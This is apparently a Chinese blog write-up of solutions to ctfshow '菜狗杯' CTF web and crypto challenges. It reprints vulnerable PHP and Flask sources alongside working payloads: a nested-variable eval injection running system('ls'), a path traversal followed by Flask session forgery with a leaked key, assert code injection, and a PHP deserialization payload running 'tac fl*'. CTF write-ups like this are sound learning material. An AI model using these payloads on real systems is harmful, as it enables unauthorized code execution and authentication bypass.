ctfshow 菜狗杯

我的眼里只有$

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

假如传入_=a,那么就是$=a;再传入a=b,那就是$$=b;

extract()定义和用法

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。

该函数返回成功导入到符号表中的变量数目。

所以我们要套娃传入变量,应该传入36个变量再执行命令。
脚本:

import string
s=string.ascii_letters
t='_=a&'
code="system('ls');"#要执行的命令
for i in range(35):
    t+=s[i]+'='+s[i+1]+'&'

t+=s[i]+'='+code
print(t)

_a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system(‘ls’);

再寻找flag
原来在**cd ../../../**下
1

抽老婆

1存在任意文件下载

2
访问http://c5911a6c-20fd-4771-b630-967baf205874.challenge.ctf.show/download?file=1时发现挨app.py存在目录穿越访问http://c5911a6c-20fd-4771-b630-967baf205874.challenge.ctf.show/download?file=../../app.py得到app.py文件

# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File       : app.py
# Time       :2022/11/07 09:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

看大佬的wp原来是flask的session认证题目,需要在生成一个cookie才能得到flag。

@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})

看到这句找到一个路径

1
还有身份验证?看了代码就知道要session中的isadmin为真。里面签名要用到SECRET_KEY;于是我们将isadmin的值更改后,使用密钥SECRET_KEY重新加密生成一个session。
github开源脚本,在kali中执行脚本
2
得到新的session,然后访问http://9bae1f73-6d1c-4258-a734-cf6bed842746.challenge.ctf.show/secret_path_U_never_know
用hackbar更改cookie头,session改为新生成的。得到flag。

一言既出

<?php
highlight_file(__FILE__); 
include "flag.php";  //将flag.php文件包含在当前脚本中
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 

可以看到,get传入num,先判断num值是否等于114514,是的话执行下面语句。
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
此语句先将 GET 请求中的参数 num 转换为整数,然后判断是否等于 1919810。如果相等,则继续执行下面的代码;否则,输出错误信息并终止脚本的执行。
那么我们可以提终止脚本的执行,也就是传入?num=114514);//由于在php中我们传入的114514);//只会辨别出前面的数字114514再执行assert此时语句提前闭合,也就是assert("intval($_GET114514);//)==1919810") or die("一言既出,驷马难追!");后面被注释掉了直接执行echo $flag;得到flag。
1

php中其中两种比较符号:
==:先将字符串类型转化成相同,再比较
===:先判断两种字符串的类型是否相等,再比较
字符串和数字比较使用==时,字符串会先转换为数字类型再比较
var_dump(‘a’ == 0);//true,此时a字符串类型转化成数字,因为a字符串开头中没有找到数字,所以转换为0
var_dump(‘123a’ == 123);//true,这里’123a’会被转换为123
var_dump(‘a123’ == 123);//false,因为php中有这样一个规定:字符串的开始部分决定了它的值,如果该字符串以合法的数字开始,则使用该数字至和它连续的最后一个数字结束,否则其比较时整体值为0。

还可以使用运算法/?num=114514%2B1805296加号被url编码**%2B**也可得到flag。

驷马难追

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);

其中,check() 函数的作用是检查输入的字符串中是否包含字母、分号、括号等特殊字符。如果没有包含这些字符,则返回 true,否则返回 false。

先说一种解法,和上一题法二一样

可以使用运算法/?num=114514%2B1805296加号被url编码**%2B**也可得到flag。

chatgpt对代码的分析

该代码的作用是接受一个名为 “num” 的 GET 请求参数,如果参数值等于 114514 并且经过 check()
函数检查没有包含字母、分号、括号等特殊字符,则会输出 $flag 变量的值。

其中,check() 函数的作用是检查输入的字符串中是否包含字母、分号、括号等特殊字符。如果没有包含这些字符,则返回 true,否则返回
false。

不过在第 6 行代码中,使用了 assert() 函数来判断 $_GET[‘num’] 是否等于
1919810,如果不等于就会输出一段提示信息并终止程序运行。注意到 assert()
函数是一个非常危险的函数,因为它会将字符串参数当作代码执行,因此如果在输入 $_GET[‘num’]
的时候传入了一些特殊字符,就可能导致代码执行漏洞。

由于代码中包含了 flag.php 文件,因此我们无法得知 $flag 变量的值。不过可以尝试构造符合条件的 $_GET[‘num’]
参数,使得程序输出 $flag 变量的值。注意到 check()
函数中只检查了字母、分号、括号等特殊字符,因此可以使用数字、加号、减号等常规字符来构造参数。

TapTapTap

网页游戏类的题目直接查看其源代码。

在js文件里看到有base64加密的内容。解码看看。
2

Your flag is in /secret_path_you_do_not_know/secretfile.txt

直接访问得到flag。

webshell

考点:反序列化

 <?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?> 

代码的意思是定义了一个webshell类,里面包含一个公共属性(cmd)和三个公共方法(**_construct(),init(),exec())其中init()方法在构造函数_construct()中被调用,目的是用来检查cmd值中是否含有参数flag如果含有,则输出Hello World!,反之,则调用exec()方法来执行$cmd**。
1
具体来说,可以执行如下的代码:

<?php
class Webshell {
    public $cmd = "ls";
}
$W=new Webshell();
echo serialize($W);

得到O:8:”Webshell”:1:{s:3:”cmd”;s:2:”ls”;}

这个字符串表示一个包含一个名为 cmd 的属性的 Webshell 类对象。s:3:”cmd” 表示属性名字的长度为 3,s:2:”ls” 表示 $cmd 属性的值为 “ls”,它的长度为 2。通过将这个字符串传递给 unserialize() 函数,我们可以将其反序列化为一个 Webshell 对象,并执行其中包含的命令。

url:http://a45cc446-ca14-40ca-92e4-8da67a3cc623.challenge.ctf.show/?cmd=O:8:"Webshell":1:{s:3:"cmd";s:2:"ls";}
3
url:http://a45cc446-ca14-40ca-92e4-8da67a3cc623.challenge.ctf.show/?cmd=O:8:"Webshell":1:{s:3:"cmd";s:7:"tac fl*";}
2

化零为整

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}

count()用来统计get传入参数的个数,如果传入**?a=1,那就是一个参数,传入?a=1&b=2,那就是两个参数。
strlen()用来返回字符串的长度,如果大于1,那就执行die,否则将传入的get参数拼接到result中。
然后如果result===大牛,那就输出flag。
在这里我们需要知道
大牛在url编码后是%E5%A4%A7%E7%89%9B一个%E5占用一个字节,所以我们可以通过将
大牛进行url编码然后for函数**进行拼接得到flag。一个汉字有3位url编码,然后用1-6

payloadhttp://da499d91-835d-4543-9c2e-faa0b2ea3723.challenge.ctf.show?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B之后得到flag。

无一幸免

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}

这个题的意义是啥呢?
我就payload?0=1,flag就出来了。

传说之下(雾)

1游戏界面,那就找一下js代码。
1
他说分数达到2077后就给flag。在前端改一下试试,
1
发现不行。再好好找一下,在js文件中搜索score。找到关键点
2
又学到了一个,在此处下断点(点击275即可),
3
然后开始游戏等到吃了一个苹果的时候,程序会在断点停下,
4
在控制台输入var nowScore = this.score += 2078回车,
5
然后继续游戏
6
得到flag。

crypto

0x36d

😫🙄👰😰👣🙋😱👧👌👷👯👩😴👖👫👚🙃👹👏👏😶👳😫👕🙂🙊👵👶👨👰👮🙉👶👵👸👲👺👮👑😶👴😫🙊👫😴👬👹👤👑😱👗🙃👐😶

提示: 有没有一种可能,标题就是密码?
试了一下base100解密,不行。那就是emojis解密,需要密码,看题目,0x代表十六进制解密36d得到877,成功得到flag。

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信